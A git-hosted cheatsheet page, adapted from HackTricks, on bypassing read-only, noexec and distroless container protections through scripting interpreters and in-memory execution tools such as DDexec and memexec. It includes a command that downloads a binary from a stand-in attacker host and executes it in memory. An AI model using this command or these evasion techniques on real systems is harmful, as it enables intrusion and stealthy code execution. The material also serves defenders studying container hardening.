daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (8904B)


      1 ---
      2 title: "Bypass FS protections: read-only / no-exec / Distroless"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Bypass FS protections: read-only / no-exec / Distroless
     14 
     15 ## Videos
     16 
     17 In the following videos you can find the techniques mentioned in this page explained more in depth:<sup>[[1]](#references)[[2]](#references)</sup>
     18 
     19 - [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4).<sup>[[1]](#references)</sup>
     20 - [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU).<sup>[[2]](#references)</sup>
     21 
     22 ## read-only / no-exec scenario
     23 
     24 In a container, you can mount the root filesystem as read-only by setting **`readOnlyRootFilesystem: true`** in the security context.<sup>[[3]](#references)</sup> For example:
     25 
     26 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
     27 kind: Pod
     28 metadata:
     29   name: alpine-pod
     30 spec:
     31   containers:
     32   - name: alpine
     33     image: alpine
     34     securityContext:
     35 <strong>      readOnlyRootFilesystem: true
     36 </strong>    command: ["sh", "-c", "while true; do sleep 1000; done"]
     37 </code></pre>
     38 
     39 A read-only root does not make separately mounted volumes read-only. Docker treats **`/dev/shm`** as an IPC mount, while tmpfs options such as `rw` and `noexec` are runtime configuration choices; inspect the target container's mount options before relying on either behavior.<sup>[[4]](#references)[[5]](#references)</sup>
     40 
     41 > [!WARNING]
     42 > From a red-team perspective, that combination can make it difficult to download and execute binaries that are not already available (for example, backdoors or enumeration tools).<sup>[[4]](#references)[[5]](#references)</sup>
     43 
     44 ## Easiest bypass: Scripts
     45 
     46 A `noexec` mount blocks direct execution of binaries on that mount, but an interpreter can still read and interpret a script. If `sh` or `python` is present, you can therefore run a shell or Python script through that interpreter.<sup>[[5]](#references)</sup>
     47 
     48 This does not help when the required tool is itself a binary.<sup>[[5]](#references)</sup>
     49 
     50 ## Memory Bypasses
     51 
     52 When direct execution from a mounted path is blocked, one option is to load the ELF into memory and execute it through an in-memory path. This avoids the `noexec` check on that mount, but does not remove other kernel, permission, or policy controls.<sup>[[5]](#references)[[6]](#references)</sup>
     53 
     54 ### FD + exec syscall bypass
     55 
     56 If a scripting runtime can access the relevant Linux interface, it can create an anonymous, RAM-backed file descriptor with **`memfd_create(2)`**, write the ELF bytes to it, and use an fd-backed execution path. The project [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) generates compressed and base64-encoded Python, Perl, or Ruby code for this workflow.<sup>[[6]](#references)[[7]](#references)</sup>
     57 
     58 The project currently documents Python, Perl, and Ruby targets; PHP or Node need a different runtime-specific technique or extension, so the absence of this generator for a language does not mean that in-memory execution is impossible.<sup>[[6]](#references)[[12]](#references)</sup>
     59 
     60 > [!WARNING]
     61 > A regular executable written to **`/dev/shm`** remains subject to that mount's **`noexec`** setting; merely opening it through an ordinary file descriptor does not change the mount policy.<sup>[[5]](#references)</sup>
     62 >
     63 > The exact memory-execution method also depends on the runtime, architecture, kernel, and available permissions.<sup>[[6]](#references)[[7]](#references)[[12]](#references)</sup>
     64 
     65 ### DDexec / EverythingExec
     66 
     67 [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) writes a stager and loader into the running shell process through **`/proc/self/mem`**, then transfers control to that code.<sup>[[8]](#references)</sup>
     68 
     69 This lets the process load a supplied binary without first placing that binary on an executable filesystem.<sup>[[8]](#references)</sup>
     70 
     71 > [!TIP]
     72 > **DDexec / EverythingExec** can load and **execute** shellcode or a binary from **memory**.<sup>[[8]](#references)</sup>
     73 
     74 ```bash
     75 # Basic example
     76 wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
     77 ```
     78 
     79 For more information about this technique check the Github or:
     80 
     81 [Ddexec](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec)
     82 
     83 ### MemExec
     84 
     85 [**Memexec**](https://github.com/arget13/memexec) is a daemonized DDexec implementation. Its daemon listens for requests containing arguments and raw program bytes, forks a child to load and run each program, and keeps the parent as the server.<sup>[[9]](#references)</sup>
     86 
     87 The repository includes an example of using **memexec to execute binaries from a PHP reverse shell** in [a.php](https://github.com/arget13/memexec/blob/main/a.php).<sup>[[9]](#references)</sup>
     88 
     89 ### Memdlopen
     90 
     91 With a similar purpose to DDexec, [**memdlopen**](https://github.com/arget13/memdlopen) is a fileless `dlopen()` implementation for a shared object or program. Its README currently documents ARM64 support, so check the target architecture before using it.<sup>[[10]](#references)</sup>
     92 
     93 ## Distroless Bypass
     94 
     95 For a dedicated explanation of **what distroless actually is**, when it helps, when it does not, and how it changes post-exploitation tradecraft in containers, check:
     96 
     97 [Distroless](/hacktricks/linux-hardening/containers-namespaces/container-security/distroless)
     98 
     99 ### What is distroless
    100 
    101 Distroless images contain only the application and its runtime dependencies; the official images omit package managers, shells, and other programs expected in a standard Linux distribution.<sup>[[11]](#references)</sup>
    102 
    103 Keeping the runtime image to those dependencies reduces the software present in production and the amount that must be scanned and tracked.<sup>[[11]](#references)</sup>
    104 
    105 ### Reverse Shell
    106 
    107 In a distroless container you might **not find `sh` or `bash`** for a regular shell, nor common utilities such as `ls`, `whoami`, or `id`.<sup>[[11]](#references)</sup>
    108 
    109 > [!WARNING]
    110 > Therefore, a usual shell-based reverse shell or utility-based enumeration may not work.<sup>[[11]](#references)</sup>
    111 
    112 If the compromised application includes a language runtime (for example, Python for a Flask application or Node.js for a Node application), an RCE may still be able to use that runtime for a command channel and system inspection through its APIs.<sup>[[11]](#references)[[12]](#references)</sup>
    113 
    114 > [!TIP]
    115 > Use the available scripting language to **enumerate the system** through its language capabilities.<sup>[[12]](#references)</sup>
    116 
    117 If there are no **read-only/no-exec** protections, a command channel may write binaries to a writable, executable mount and run them; verify the mount options and permissions first.<sup>[[4]](#references)[[5]](#references)</sup>
    118 
    119 > [!TIP]
    120 > When these protections are present, use the **memory-execution techniques above** where the runtime, kernel, and permissions allow.<sup>[[6]](#references)[[8]](#references)[[10]](#references)</sup>
    121 
    122 You can find **examples** of exploiting RCE vulnerabilities to obtain scripting-language **reverse shells** and execute binaries from memory in [**DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).<sup>[[12]](#references)</sup>
    123 
    124 ## References
    125 
    126 - [1] [DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion](https://www.youtube.com/watch?v=poHirez8jk4)
    127 - [2] [Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023](https://www.youtube.com/watch?v=VM_gjjiARaU)
    128 - [3] [Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
    129 - [4] [docker container run](https://docs.docker.com/reference/cli/docker/container/run)
    130 - [5] [mount(8) - Linux manual page](https://man7.org/linux/man-pages/man8/mount.8.html)
    131 - [6] [fileless-elf-exec](https://github.com/nnsee/fileless-elf-exec)
    132 - [7] [memfd_create(2) - Linux manual page](https://man7.org/linux/man-pages/man2/memfd_create.2.html)
    133 - [8] [DDexec](https://github.com/arget13/DDexec)
    134 - [9] [memexec](https://github.com/arget13/memexec)
    135 - [10] [memdlopen](https://github.com/arget13/memdlopen)
    136 - [11] [GoogleContainerTools/distroless](https://github.com/GoogleContainerTools/distroless)
    137 - [12] [DistrolessRCE](https://github.com/carlospolop/DistrolessRCE)